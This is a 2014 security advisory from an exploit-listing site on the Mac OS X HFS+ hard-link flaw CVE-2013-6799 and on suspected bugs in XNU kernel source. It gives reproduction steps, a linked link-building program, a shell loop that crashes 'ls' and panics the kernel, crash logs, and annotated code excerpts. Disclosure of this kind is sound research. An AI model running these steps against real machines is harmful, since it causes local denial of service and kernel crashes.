Home / exploits MacOSX 10.9.2/XNU HFS Hard Linking
Posted on 08 April 2014
MacOSX/XNU HFS Multiple Vulnerabilities Maksymilian Arciemowicz http://cxsecurity.com/ http://cifrex.org/ =================== On November 8th, I've reported vulnerability in hard links for HFS+ (CVE-2013-6799) http://cxsecurity.com/issue/WLB-2013110059 The HFS+ file system does not apply strict privilege rules during the creating of hard links. The ability to create hard links to directories is wrong implemented and such an issue is affecting os versions greater or equal to 10.5. Officially Apple allows you to create hard links only for your time machine. <see wiki> Vulnerability CVE-2013-6799 (incomplete fix for CVE-2010-0105) allow to create hard link to directory and the number of hard links may be freely high. To create N hard links, you must use a special algorithm which creates links from the top of the file system tree. This means that first we create the directory structure and once created we need to go from up to down by creating hard links. The last time I've mentioned of the possibility of a kernel crash by performing the 'ls' command. This situation occurs in conjunction with the 'find' application. Commands such as 'ls' behave in unexpected ways. Apple are going find this crash point in code. To create huge hard links structure, use this code http://cert.cx/stuff/l2.c ----------------------------------- h1XSS:tysiak cx$ uname -a Darwin 000000000000000.home 13.1.0 Darwin Kernel Version 13.1.0: Thu Jan 16 19:40:37 PST 2014; root:xnu-2422.90.20~2/RELEASE_X86_64 x86_64 h1xss:tysiak cx$ gcc -o l2 l2.c h1xss:tysiak cx$ ./l2 1000 ... h1xss:tysiak cx$ cat loop.sh #!/bin/bash while [ 1 ] ; do ls -laR B > /dev/null done h1xss:tysiak cx$ sh ./loop.sh ls: B: No such file or directory ls: X1: No such file or directory ... ls: X8: Bad address ls: X1: Bad address ls: X2: Bad address ... ls: X8: No such file or directory ./loop.sh: line 4: 8816 Segmentation fault: 11 ls -laR B > /dev/null ./loop.sh: line 4: 8818 Segmentation fault: 11 ls -laR B > /dev/null ls: B: No such file or directory ls: X1: No such file or directory ls: X2: No such file or directory ... ls: X1: No such file or directory ls: X2: No such file or directory ----------- ... ----------- Feb 9 21:16:38 h1xss.home ReportCrash[9419]: Saved crash report for ls[9418] version 230 to /Users/freak/Library/Logs/DiagnosticReports/ls_2014-02-09-211638_h1XSS.crash ----------- That what we can see here is unexpected behavior of LS command. LS process is also affected for infinite loop (recursion?). ----------- h1xss:tysiak cx$ ps -fp 8822 UID PID PPID C STIME TTY TIME CMD 501 8822 8810 0 7:36 ttys002 62:19.65 ls -laR B ----------- or used parallely with (find . > /dev/null) command cause a kernel crash ----------- Mon Mar 31 20:30:41 2014 panic(cpu 0 caller 0xffffff80044dbe2e): Kernel trap at 0xffffff8004768838, type 13=general protection, registers: CR0: 0x0000000080010033, CR2: 0xffffff8122877004, CR3: 0x0000000001a5408c, CR4: 0x00000000001606e0 RAX: 0xffffff802bc148a0, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000008000, RDX: 0x0000000000000000 RSP: 0xffffff8140d9b990, RBP: 0xffffff8140d9b9a0, RSI: 0x0000000000000018, RDI: 0xffffff802f23bcd0 R8: 0xffffff8140d9bc1c, R9: 0xffffff802f26e960, R10: 0xffffff8140d9ba2c, R11: 0x0000000000000f92 R12: 0xffffff801ba1a008, R13: 0xffffff8140d9bb20, R14: 0xffffff802f23bcd0, R15: 0xffffff802f26e960 RFL: 0x0000000000010282, RIP: 0xffffff8004768838, CS: 0x0000000000000008, SS: 0x0000000000000010 Fault CR2: 0xffffff8122877004, Error code: 0x0000000000000000, Fault CPU: 0x0 Backtrace (CPU 0), Frame : Return Address 0xffffff811eee8c50 : 0xffffff8004422fa9 BSD process name corresponding to current thread: ls ----------- XNU is the computer operating system kernel that Apple Inc. acquired and developed for use in the Mac OS X operating system and released as free and open source software as part of the Darwin operating system. We can try to see HFS implementation code. Let's start static code analysys using cifrex.org tool! -1.--------------------------------------------------------- Unchecked Return Value to NULL Pointer Dereference in hfs_vfsops.c Code: http://opensource.apple.com/source/xnu/xnu-2422.1.72/bsd/hfs/hfs_vfsops.c --- hfs_vfsops.c ---------------------------- /* * HFS filesystem related variables. */ int hfs_sysctl(int *name, __unused u_int namelen, user_addr_t oldp, size_t *oldlenp, user_addr_t newp, size_t newlen, vfs_context_t context) { ... if ((newlen <= 0) || (newlen > MAXPATHLEN)) return (EINVAL); bufsize = MAX(newlen * 3, MAXPATHLEN); MALLOC(filename, char *, newlen, M_TEMP, M_WAITOK); if (filename == NULL) { <===================================== filename CHECK error = ENOMEM; goto encodinghint_exit; } MALLOC(unicode_name, u_int16_t *, bufsize, M_TEMP, M_WAITOK); if (filename == NULL) { <====================================== double CHECK? error = ENOMEM; goto encodinghint_exit; } error = copyin(newp, (caddr_t)filename, newlen); if (error == 0) { error = utf8_decodestr((u_int8_t *)filename, newlen - 1, unicode_name, &bytes, bufsize, 0, UTF_DECOMPOSED); if (error == 0) { hint = hfs_pickencoding(unicode_name, bytes / 2); error = sysctl_int(oldp, oldlenp, USER_ADDR_NULL, 0, (int32_t *)&hint); } } --- hfs_vfsops.c---------------------------- Twice checking of 'filename' has no sense. Probably 'unicode_name' should be checked in second condition. -2.--------------------------------------------------------- Possible Buffer Overflow in resource fork (hfs_vnops.c) Unverified value returned by snprintf() may be bigger as a declared buffer (MAXPATHLEN). https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/man3/snprintf.3.html --- The snprintf() and vsnprintf() functions will write at most n-1 of the characters printed into the out-put output put string (the n'th character then gets the terminating ` '); if the return value is greater than or equal to the n argument, the string was too short and some of the printed characters were discarded. The output is always null-terminated. --- Code: http://opensource.apple.com/source/xnu/xnu-2422.1.72/bsd/hfs/hfs_vnops.c --- hfs_vnops.c ---------------------------- ... /* * hfs_vgetrsrc acquires a resource fork vnode corresponding to the cnode that is * found in 'vp'. The rsrc fork vnode is returned with the cnode locked and iocount * on the rsrc vnode. * ... */ int hfs_vgetrsrc(struct hfsmount *hfsmp, struct vnode *vp, struct vnode **rvpp, int can_drop_lock, int error_on_unlinked) { ... /* * Supply hfs_getnewvnode with a component name. */ cn.cn_pnbuf = NULL; if (descptr->cd_nameptr) { MALLOC_ZONE(cn.cn_pnbuf, caddr_t, MAXPATHLEN, M_NAMEI, M_WAITOK); cn.cn_nameiop = LOOKUP; cn.cn_flags = ISLASTCN | HASBUF; cn.cn_context = NULL; cn.cn_pnlen = MAXPATHLEN; cn.cn_nameptr = cn.cn_pnbuf; cn.cn_hash = 0; cn.cn_consume = 0; cn.cn_namelen = snprintf(cn.cn_nameptr, MAXPATHLEN, <================ "%s%s", descptr->cd_nameptr, _PATH_RSRCFORKSPEC); } dvp = vnode_getparent(vp); error = hfs_getnewvnode(hfsmp, dvp, cn.cn_pnbuf ? &cn : NULL, <================ descptr, GNV_WANTRSRC | GNV_SKIPLOCK, &cp->c_attr, &rsrcfork, &rvp, &newvnode_flags); --- hfs_vnops.c ---------------------------- Pattern is '%s%s' where sum of length descptr->cd_nameptr and _PATH_RSRCFORKSPEC may be bigger as a declared buffer size (MAXPATHLEN). Size of descptr->cd_nameptr is MAXPATHLEN and value _PATH_RSRCFORKSPEC is #define _PATH_RSRCFORKSPEC "/..namedfork/rsrc" where length is 17 chars. Possible up to 17 chars overflow here?. Now let's see hfs_getnewvnode function http://opensource.apple.com/source/xnu/xnu-2422.1.72/bsd/hfs/hfs_cnode.c --- hfs_cnode.c ---------------------------- hfs_getnewvnode( struct hfsmount *hfsmp, struct vnode *dvp, struct componentname *cnp, <======== WATCH THIS struct cat_desc *descp, int flags, struct cat_attr *attrp, struct cat_fork *forkp, struct vnode **vpp, int *out_flags) { ... if ((*vpp != NULL) && (cnp)) { /* we could be requesting the rsrc of a hardlink file... */ vnode_update_identity (*vpp, dvp, cnp->cn_nameptr, cnp->cn_namelen, cnp->cn_hash, <== NAMELEN HERE (VNODE_UPDATE_PARENT | VNODE_UPDATE_NAME)); ... --- hfs_cnode.c ---------------------------- and call to vnode_update_indentity() http://opensource.apple.com/source/xnu/xnu-2422.1.72/bsd/vfs/vfs_cache.c --- vfs_cache.c ---------------------------- void vnode_update_identity(vnode_t vp, vnode_t dvp, const char *name, int name_len, uint32_t name_hashval, int flags) { ... if ( (flags & VNODE_UPDATE_NAME) ) { if (name != vp->v_name) { if (name && *name) { if (name_len == 0) name_len = strlen(name); tname = vfs_addname(name, name_len, name_hashval, 0); <== NAMELEN HERE } } else flags &= ~VNODE_UPDATE_NAME; } ... const char * vfs_addname(const char *name, uint32_t len, u_int hashval, u_int flags) { return (add_name_internal(name, len, hashval, FALSE, flags)); <== CALL } --- vfs_cache.c ---------------------------- And invalid memory reference in add_name_internal() --- vfs_cache.c ---------------------------- static const char * add_name_internal(const char *name, uint32_t len, u_int hashval, boolean_t need_extra_ref, __unused u_int flags) { struct stringhead *head; string_t *entry; uint32_t chain_len = 0; uint32_t hash_index; uint32_t lock_index; char *ptr; /* * if the length already accounts for the null-byte, then * subtract one so later on we don't index past the end * of the string. */ if (len > 0 && name[len-1] == ' ') { <===== INVALID MEMORY REFERENCE len--; } if (hashval == 0) { hashval = hash_string(name, len); } --- vfs_cache.c ---------------------------- -3.--------------------------------------------------------- Unchecked Return Value to NULL Pointer Dereference hfs_catalog.c and not only Please pay attention that a buffer length check (stored in some variable) should be performed; also return from *alloc() function family should be verified for possible NULL pointers. Here are a few FALSE / POSITIVE examples. http://opensource.apple.com/source/xnu/xnu-2422.1.72/bsd/hfs/hfs_catalog.c --- hfs_catalog.c ---------------------------- /* * builddesc - build a cnode descriptor from an HFS+ key */ static int builddesc(const HFSPlusCatalogKey *key, cnid_t cnid, u_int32_t hint, u_int32_t encoding, int isdir, struct cat_desc *descp) { int result = 0; unsigned char * nameptr; size_t bufsize; size_t utf8len; unsigned char tmpbuff[128]; /* guess a size... */ bufsize = (3 * key->nodeName.length) + 1; if (bufsize >= sizeof(tmpbuff) - 1) { <============================ MALLOC(nameptr, unsigned char *, bufsize, M_TEMP, M_WAITOK); <= MALLOC FAIL } else { nameptr = &tmpbuff[0]; } result = utf8_encodestr(key->nodeName.unicode, key->nodeName.length * sizeof(UniChar), nameptr, (size_t *)&utf8len, <============================ ... maxlinks = MIN(entrycnt, (u_int32_t)(uio_resid(uio) / SMALL_DIRENTRY_SIZE)); bufsize = MAXPATHLEN + (maxlinks * sizeof(linkinfo_t)) + sizeof(*iterator); if (extended) { bufsize += 2*sizeof(struct direntry); } MALLOC(buffer, void *, bufsize, M_TEMP, M_WAITOK); <============================ bzero(buffer, bufsize); ... FREE(nameptr, M_TEMP); MALLOC(nameptr, unsigned char *, bufsize, M_TEMP, M_WAITOK); <============== result = utf8_encodestr(key->nodeName.unicode, key->nodeName.length * sizeof(UniChar), nameptr, (size_t *)&utf8len, bufsize, ':', 0); } ... cnp = (const CatalogName *)&ckp->hfsPlus.nodeName; bufsize = 1 + utf8_encodelen(cnp->ustr.unicode, cnp->ustr.length * sizeof(UniChar), ':', 0); MALLOC(new_nameptr, u_int8_t *, bufsize, M_TEMP, M_WAITOK); <======== result = utf8_encodestr(cnp->ustr.unicode, cnp->ustr.length * sizeof(UniChar), new_nameptr, &tmp_namelen, bufsize, ':', 0); --- hfs_catalog.c ---------------------------- The above examples does not look nice, too. Are you among them is the crux of the problem applications and kernel crash? I informed Apple of those possible errors, it has passed more than a month and I still have not received any comment nor solution. --- 1. References --- http://cxsecurity.com/issue/WLB-2014040027 http://cxsecurity.com/cveshow/CVE-2013-6799/ http://cxsecurity.com/cveshow/CVE-2010-0105/ --- 2. Greetz --- Kacper George and Michal --- 3. Credit --- Maksymilian Arciemowicz http://cxsecurity.com/ http://cifrex.org/ http://cert.cx/ Best regards, CXSEC TEAM http://cxsec.org/
